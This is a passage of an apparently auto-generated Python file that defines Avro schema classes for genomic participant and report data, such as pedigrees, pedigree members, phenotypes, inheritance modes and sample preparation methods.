_schemaSource = """ {"type": "record", "name": "MatchedSamples", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name": "tumourSampleId", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "germlineSampleId", "tumourSampleId", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'germlineSampleId', 'tumourSampleId' ] def __init__(self, **kwargs): self.germlineSampleId = kwargs.get( 'germlineSampleId', None) self.tumourSampleId = kwargs.get( 'tumourSampleId', None) class Method(object): """ No documentation """ RESECTION = "RESECTION" BIOPSY = "BIOPSY" BLOOD = "BLOOD" def __hash__(self): return str(self).__hash__() class ModeOfInheritance(object): """ An enumeration for the different mode of inheritances: * `monoallelic_not_imprinted`: MONOALLELIC, autosomal or pseudoautosomal, not imprinted * `monoallelic_maternally_imprinted`: MONOALLELIC, autosomal or pseudoautosomal, maternally imprinted (paternal allele expressed) * `monoallelic_paternally_imprinted`: MONOALLELIC, autosomal or pseudoautosomal, paternally imprinted (maternal allele expressed) * `monoallelic`: MONOALLELIC, autosomal or pseudoautosomal, imprinted status unknown * `biallelic`: BIALLELIC, autosomal or pseudoautosomal * `monoallelic_and_biallelic`: BOTH monoallelic and biallelic, autosomal or pseudoautosomal * `monoallelic_and_more_severe_biallelic`: BOTH monoallelic and biallelic, autosomal or pseudoautosomal (but BIALLELIC mutations cause a more SEVERE disease form), autosomal or pseudoautosomal * `xlinked_biallelic`: X-LINKED: hemizygous mutation in males, biallelic mutations in females * `xlinked_monoallelic`: X linked: hemizygous mutation in males, monoallelic mutations in females may cause disease (may be less severe, later onset than males) * `mitochondrial`: MITOCHONDRIAL * `unknown`: Unknown """ monoallelic = "monoallelic" monoallelic_not_imprinted = "monoallelic_not_imprinted" monoallelic_maternally_imprinted = "monoallelic_maternally_imprinted" monoallelic_paternally_imprinted = "monoallelic_paternally_imprinted" biallelic = "biallelic" monoallelic_and_biallelic = "monoallelic_and_biallelic" monoallelic_and_more_severe_biallelic = "monoallelic_and_more_severe_biallelic" xlinked_biallelic = "xlinked_biallelic" xlinked_monoallelic = "xlinked_monoallelic" mitochondrial = "mitochondrial" unknown = "unknown" na = "na" def __hash__(self): return str(self).__hash__() class NumberOfCopies(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "NumberOfCopies", "namespace": "org.gel.models.report.avro", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "confidenceIntervalMaximum", "confidenceIntervalMinimum", "numberOfCopies", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'confidenceIntervalMaximum', 'confidenceIntervalMinimum', 'numberOfCopies' ] def __init__(self, **kwargs): self.confidenceIntervalMaximum = kwargs.get( 'confidenceIntervalMaximum', None) self.confidenceIntervalMinimum = kwargs.get( 'confidenceIntervalMinimum', None) self.numberOfCopies = kwargs.get( 'numberOfCopies', None) class Ontology(ProtocolElement): """ The ontology to which a standard term belongs """ _schemaSource = """ {"type": "record", "name": "Ontology", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]} """ schema = avro_parse(_schemaSource) requiredFields = { "name", "version", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'name', 'version' ] def __init__(self, **kwargs): self.name = kwargs.get( 'name', None) self.version = kwargs.get( 'version', None) class Orientation(object): """ No documentation """ start_start = "start_start" start_end = "start_end" end_end = "end_end" def __hash__(self): return str(self).__hash__() class OtherFamilyHistory(ProtocolElement): """ Family history for secondary findings. Arrays of strings describing discrete family history phenotypes. Usually: `EndocrineTumours`, `colorectal`, `BreastOvarian` and `HDOrStroke` but can be others """ _schemaSource = """ {"type": "record", "name": "OtherFamilyHistory", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "maternalFamilyHistory", "paternalFamilyHistory", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'maternalFamilyHistory', 'paternalFamilyHistory' ] def __init__(self, **kwargs): self.maternalFamilyHistory = kwargs.get( 'maternalFamilyHistory', None) self.paternalFamilyHistory = kwargs.get( 'paternalFamilyHistory', None) class ParticipantQCState(object): """ QCState Status """ noState = "noState" passedMedicalReviewReadyForInterpretation = "passedMedicalReviewReadyForInterpretation" passedMedicalReviewNotReadyForInterpretation = "passedMedicalReviewNotReadyForInterpretation" queryToGel = "queryToGel" queryToGMC = "queryToGMC" failed = "failed" def __hash__(self): return str(self).__hash__() class Pedigree(ProtocolElement): """ This is the concept of a family with associated phenotypes as present in the record RDParticipant """ _schemaSource = """ {"type": "record", "name": "Pedigree", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name": "LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc": ""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name": "PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type": "record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null", {"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"], "doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string", "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type": ["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "LDPCode", "analysisPanels", "diseasePenetrances", "familyId", "familyQCState", "members", "readyForAnalysis", "versionControl", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'analysisPanels': AnalysisPanel, 'diseasePenetrances': DiseasePenetrance, 'members': PedigreeMember, 'versionControl': VersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'analysisPanels': AnalysisPanel, 'diseasePenetrances': DiseasePenetrance, 'members': PedigreeMember, 'versionControl': VersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'LDPCode', 'analysisPanels', 'diseasePenetrances', 'familyId', 'familyQCState', 'members', 'readyForAnalysis', 'versionControl' ] def __init__(self, **kwargs): self.LDPCode = kwargs.get( 'LDPCode', None) self.analysisPanels = kwargs.get( 'analysisPanels', None) self.diseasePenetrances = kwargs.get( 'diseasePenetrances', None) self.familyId = kwargs.get( 'familyId', None) self.familyQCState = kwargs.get( 'familyQCState', None) self.members = kwargs.get( 'members', None) self.readyForAnalysis = kwargs.get( 'readyForAnalysis', None) self.versionControl = kwargs.get( 'versionControl', None) class PedigreeMember(ProtocolElement): """ This defines a RD Participant (demographics and pedigree information) """ _schemaSource = """ {"type": "record", "name": "PedigreeMember", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type": "record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null", {"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"], "doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalInformation", "adoptedStatus", "affectionStatus", "ancestries", "consanguineousParents", "consentStatus", "disorderList", "fatherId", "gelSuperFamilyId", "hpoTermList", "inbreedingCoefficient", "isProband", "lifeStatus", "monozygotic", "motherId", "participantId", "participantQCState", "pedigreeId", "personKaryotypicSex", "samples", "sex", "superFatherId", "superMotherId", "twinGroup", "yearOfBirth", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ancestries': Ancestries, 'consentStatus': ConsentStatus, 'disorderList': Disorder, 'hpoTermList': HpoTerm, 'inbreedingCoefficient': InbreedingCoefficient, 'samples': Sample, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ancestries': Ancestries, 'consentStatus': ConsentStatus, 'disorderList': Disorder, 'hpoTermList': HpoTerm, 'inbreedingCoefficient': InbreedingCoefficient, 'samples': Sample, } return embeddedTypes[fieldName] __slots__ = [ 'additionalInformation', 'adoptedStatus', 'affectionStatus', 'ancestries', 'consanguineousParents', 'consentStatus', 'disorderList', 'fatherId', 'gelSuperFamilyId', 'hpoTermList', 'inbreedingCoefficient', 'isProband', 'lifeStatus', 'monozygotic', 'motherId', 'participantId', 'participantQCState', 'pedigreeId', 'personKaryotypicSex', 'samples', 'sex', 'superFatherId', 'superMotherId', 'twinGroup', 'yearOfBirth' ] def __init__(self, **kwargs): self.additionalInformation = kwargs.get( 'additionalInformation', None) self.adoptedStatus = kwargs.get( 'adoptedStatus', None) self.affectionStatus = kwargs.get( 'affectionStatus', None) self.ancestries = kwargs.get( 'ancestries', None) self.consanguineousParents = kwargs.get( 'consanguineousParents', None) self.consentStatus = kwargs.get( 'consentStatus', None) self.disorderList = kwargs.get( 'disorderList', None) self.fatherId = kwargs.get( 'fatherId', None) self.gelSuperFamilyId = kwargs.get( 'gelSuperFamilyId', None) self.hpoTermList = kwargs.get( 'hpoTermList', None) self.inbreedingCoefficient = kwargs.get( 'inbreedingCoefficient', None) self.isProband = kwargs.get( 'isProband', None) self.lifeStatus = kwargs.get( 'lifeStatus', None) self.monozygotic = kwargs.get( 'monozygotic', None) self.motherId = kwargs.get( 'motherId', None) self.participantId = kwargs.get( 'participantId', None) self.participantQCState = kwargs.get( 'participantQCState', None) self.pedigreeId = kwargs.get( 'pedigreeId', None) self.personKaryotypicSex = kwargs.get( 'personKaryotypicSex', None) self.samples = kwargs.get( 'samples', None) self.sex = kwargs.get( 'sex', None) self.superFatherId = kwargs.get( 'superFatherId', None) self.superMotherId = kwargs.get( 'superMotherId', None) self.twinGroup = kwargs.get( 'twinGroup', None) self.yearOfBirth = kwargs.get( 'yearOfBirth', None) class Penetrance(object): """ Penetrance assumed in the analysis """ complete = "complete" incomplete = "incomplete" def __hash__(self): return str(self).__hash__() class PersonKaryotipicSex(object): """ Karyotipic Sex """ UNKNOWN = "UNKNOWN" XX = "XX" XY = "XY" XO = "XO" XXY = "XXY" XXX = "XXX" XXYY = "XXYY" XXXY = "XXXY" XXXX = "XXXX" XYY = "XYY" OTHER = "OTHER" def __hash__(self): return str(self).__hash__() class PhaseGenotype(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "PhaseGenotype", "namespace": "org.gel.models.report.avro", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]} """ schema = avro_parse(_schemaSource) requiredFields = { "phaseSet", "sortedAlleles", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'phaseSet', 'sortedAlleles' ] def __init__(self, **kwargs): self.phaseSet = kwargs.get( 'phaseSet', None) self.sortedAlleles = kwargs.get( 'sortedAlleles', None) class Phenotypes(ProtocolElement): """ Oontology term based on the OBO format (see an example here http://snapshot.geneontology.org/ontology/go-basic.obo) """ _schemaSource = """ {"type": "record", "name": "Phenotypes", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "nonStandardPhenotype", "standardPhenotypes", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'standardPhenotypes': StandardPhenotype, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'standardPhenotypes': StandardPhenotype, } return embeddedTypes[fieldName] __slots__ = [ 'nonStandardPhenotype', 'standardPhenotypes' ] def __init__(self, **kwargs): self.nonStandardPhenotype = kwargs.get( 'nonStandardPhenotype', None) self.standardPhenotypes = kwargs.get( 'standardPhenotypes', None) class PhenotypesSolved(object): """ No documentation """ yes = "yes" no = "no" partially = "partially" unknown = "unknown" def __hash__(self): return str(self).__hash__() class PreparationMethod(object): """ No documentation """ EDTA = "EDTA" ORAGENE = "ORAGENE" FF = "FF" FFPE = "FFPE" CD128_SORTED_CELLS = "CD128_SORTED_CELLS" ASPIRATE = "ASPIRATE" def __hash__(self): return str(self).__hash__() class PrimaryPurpose(object): """ Treatment: One or more interventions are being evaluated for treating a disease, syndrome, or condition. Prevention: One or more interventions are being assessed for preventing the development of a specific disease or health condition. Diagnostic: One or more interventions are being evaluated for identifying a disease or health condition. Supportive Care: One or more interventions are evaluated for maximizing comfort, minimizing side effects, or mitigating against a decline in the participant's health or function. Screening: One or more interventions are assessed or examined for identifying a condition, or risk factors for a condition, in people who are not yet known to have the condition or risk factor. Health Services Research: One or more interventions for evaluating the delivery, processes, management, organization, or financing of healthcare. Basic Science: One or more interventions for examining the basic mechanism of action (for example, physiology or biomechanics of an intervention). Device Feasibility: An intervention of a device product is being evaluated in a small clinical trial (generally fewer than 10 participants) to determine the feasibility of the product; or a clinical trial to test a prototype device for feasibility and not health outcomes. Such studies are conducted to confirm the design and operating specifications of a device before beginning a full clinical trial. Other: None of the other options applies. Ref. https://prsinfo.clinicaltrials.gov/definitions.htm """ treatment = "treatment" prevention = "prevention" diagnostic = "diagnostic" supportive_care = "supportive_care" screening = "screening" health_services_research = "health_services_research" basic_science = "basic_science" device_feasibility = "device_feasibility" other = "other" def __hash__(self): return str(self).__hash__() class Product(object): """ No documentation """ DNA = "DNA" RNA = "RNA" def __hash__(self): return str(self).__hash__() class Prognosis(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Prognosis", "namespace": "org.gel.models.report.avro", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", 